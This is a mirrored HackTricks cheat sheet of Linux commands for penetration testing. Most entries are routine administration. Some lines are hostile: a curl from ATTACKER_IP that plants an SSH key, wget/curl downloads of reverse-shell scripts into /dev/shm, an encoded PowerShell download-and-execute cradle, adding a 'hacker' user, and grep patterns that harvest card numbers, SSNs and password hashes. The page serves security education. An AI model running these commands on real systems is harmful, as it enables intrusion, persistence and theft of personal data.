mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
360 lines
15 KiB
Markdown
360 lines
15 KiB
Markdown
# Useful Linux Commands
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Common Bash
|
|
|
|
```bash
|
|
#Exfiltration using Base64
|
|
base64 -w 0 file
|
|
|
|
#Get HexDump without new lines
|
|
xxd -p boot12.bin | tr -d '\n'
|
|
|
|
#Add public key to authorized keys
|
|
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
|
|
|
#Echo without new line and Hex
|
|
echo -n -e
|
|
|
|
#Count
|
|
wc -l <file> #Lines
|
|
wc -c #Chars
|
|
|
|
#Sort
|
|
sort -nr #Sort by number and then reverse
|
|
cat file | sort | uniq #Sort and delete duplicates
|
|
|
|
#Replace in file
|
|
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
|
|
|
#Download in RAM
|
|
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
|
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
|
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
|
|
|
#Files used by network processes
|
|
lsof #Open files belonging to any process
|
|
lsof -p 3 #Open files used by the process
|
|
lsof -i #Files used by networks processes
|
|
lsof -i 4 #Files used by network IPv4 processes
|
|
lsof -i 6 #Files used by network IPv6 processes
|
|
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
|
lsof +D /lib #Processes using files inside the indicated dir
|
|
lsof -i :80 #Files uses by networks processes
|
|
fuser -nv tcp 80
|
|
|
|
#Decompress
|
|
tar -xvzf /path/to/yourfile.tgz
|
|
tar -xvjf /path/to/yourfile.tbz
|
|
bzip2 -d /path/to/yourfile.bz2
|
|
tar jxf file.tar.bz2
|
|
gunzip /path/to/yourfile.gz
|
|
unzip file.zip
|
|
7z -x file.7z
|
|
sudo apt-get install xz-utils; unxz file.xz
|
|
|
|
#Add new user
|
|
useradd -p 'openssl passwd -1 <Password>' hacker
|
|
|
|
#Clipboard
|
|
xclip -sel c < cat file.txt
|
|
|
|
#HTTP servers
|
|
python -m SimpleHTTPServer 80
|
|
python3 -m http.server
|
|
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
|
php -S $ip:80
|
|
|
|
#Curl
|
|
#json data
|
|
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
|
#Auth via JWT
|
|
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
|
|
|
#Send Email
|
|
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
|
|
|
#DD copy hex bin file without first X (28) bytes
|
|
dd if=file.bin bs=28 skip=1 of=blob
|
|
|
|
#Mount .vhd files (virtual hard drive)
|
|
sudo apt-get install libguestfs-tools
|
|
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
|
|
|
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
|
ssh-keyscan 10.10.10.101
|
|
|
|
# Openssl
|
|
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
|
openssl x509 -in ca.cert.pem -text #Read certificate
|
|
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
|
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
|
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
|
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
|
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
|
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
|
# Decrypt ssh key
|
|
openssl rsa -in key.ssh.enc -out key.ssh
|
|
#Decrypt
|
|
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
|
|
|
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
|
perf stat -x, -e instructions:u "ls"
|
|
|
|
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
|
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
|
|
|
#Reconfigure timezone
|
|
sudo dpkg-reconfigure tzdata
|
|
|
|
#Search from which package is a binary
|
|
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
|
|
|
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
|
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
|
|
|
#Set not removable bit
|
|
sudo chattr +i file.txt
|
|
sudo chattr -i file.txt #Remove the bit so you can delete it
|
|
|
|
# List files inside zip
|
|
7z l file.zip
|
|
```
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Bash for Windows
|
|
|
|
```bash
|
|
#Base64 for Windows
|
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
|
|
|
#Exe compression
|
|
upx -9 nc.exe
|
|
|
|
#Exe2bat
|
|
wine exe2bat.exe nc.exe nc.txt
|
|
|
|
#Compile Windows python exploit to exe
|
|
pip install pyinstaller
|
|
wget -O exploit.py http://www.exploit-db.com/download/31853
|
|
python pyinstaller.py --onefile exploit.py
|
|
|
|
#Compile for windows
|
|
#sudo apt-get install gcc-mingw-w64-i686
|
|
i686-mingw32msvc-gcc -o executable useradd.c
|
|
```
|
|
|
|
## Greps
|
|
|
|
```bash
|
|
#Extract emails from file
|
|
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
|
|
|
#Extract valid IP addresses
|
|
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
|
|
|
#Extract passwords
|
|
grep -i "pwd\|passw" file.txt
|
|
|
|
#Extract users
|
|
grep -i "user\|invalid\|authentication\|login" file.txt
|
|
|
|
# Extract hashes
|
|
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
|
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
|
#Extract valid MySQL-Old hashes
|
|
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
|
#Extract blowfish hashes
|
|
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
|
#Extract Joomla hashes
|
|
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
|
#Extract VBulletin hashes
|
|
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
|
#Extraxt phpBB3-MD5
|
|
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
|
#Extract Wordpress-MD5
|
|
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
|
#Extract Drupal 7
|
|
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
|
#Extract old Unix-md5
|
|
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
|
#Extract md5-apr1
|
|
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
|
#Extract sha512crypt, SHA512(Unix)
|
|
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
|
|
|
#Extract e-mails from text files
|
|
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
|
|
|
#Extract HTTP URLs from text files
|
|
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
|
#For extracting HTTPS, FTP and other URL format use
|
|
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
|
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
|
|
|
#Extract Floating point numbers
|
|
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
|
|
|
# Extract credit card data
|
|
#Visa
|
|
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
|
#MasterCard
|
|
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
|
#American Express
|
|
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
|
#Diners Club
|
|
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
|
#Discover
|
|
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
|
#JCB
|
|
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
|
#AMEX
|
|
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
|
|
|
# Extract IDs
|
|
#Extract Social Security Number (SSN)
|
|
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
|
#Extract Indiana Driver License Number
|
|
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
|
#Extract US Passport Cards
|
|
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
|
#Extract US Passport Number
|
|
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
|
#Extract US Phone Numberss
|
|
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
|
#Extract ISBN Numbers
|
|
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
|
```
|
|
|
|
## Find
|
|
|
|
```bash
|
|
# Find SUID set files.
|
|
find / -perm /u=s -ls 2>/dev/null
|
|
|
|
# Find SGID set files.
|
|
find / -perm /g=s -ls 2>/dev/null
|
|
|
|
# Found Readable directory and sort by time. (depth = 4)
|
|
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
|
|
|
# Found Writable directory and sort by time. (depth = 10)
|
|
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
|
|
|
# Or Found Own by Current User and sort by time. (depth = 10)
|
|
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
|
|
|
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
|
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
|
|
|
# Found Newer files and sort by time. (depth = 5)
|
|
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
|
|
|
# Found Newer files only and sort by time. (depth = 5)
|
|
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
|
|
|
# Found Newer directory only and sort by time. (depth = 5)
|
|
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
|
```
|
|
|
|
## Nmap search help
|
|
|
|
```bash
|
|
#Nmap scripts ((default or version) and smb))
|
|
nmap --script-help "(default or version) and *smb*"
|
|
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
|
nmap --script-help "(default or version) and smb)"
|
|
```
|
|
|
|
## Bash
|
|
|
|
```bash
|
|
#All bytes inside a file (except 0x20 and 0x00)
|
|
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
|
```
|
|
|
|
## Iptables
|
|
|
|
```bash
|
|
#Delete curent rules and chains
|
|
iptables --flush
|
|
iptables --delete-chain
|
|
|
|
#allow loopback
|
|
iptables -A INPUT -i lo -j ACCEPT
|
|
iptables -A OUTPUT -o lo -j ACCEPT
|
|
|
|
#drop ICMP
|
|
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
|
iptables -A OUTPUT -p icmp -j DROP
|
|
|
|
#allow established connections
|
|
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
|
|
|
#allow ssh, http, https, dns
|
|
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
|
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
|
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
|
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
|
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
|
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
|
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
|
|
|
#default policies
|
|
iptables -P INPUT DROP
|
|
iptables -P FORWARD ACCEPT
|
|
iptables -P OUTPUT ACCEPT
|
|
```
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|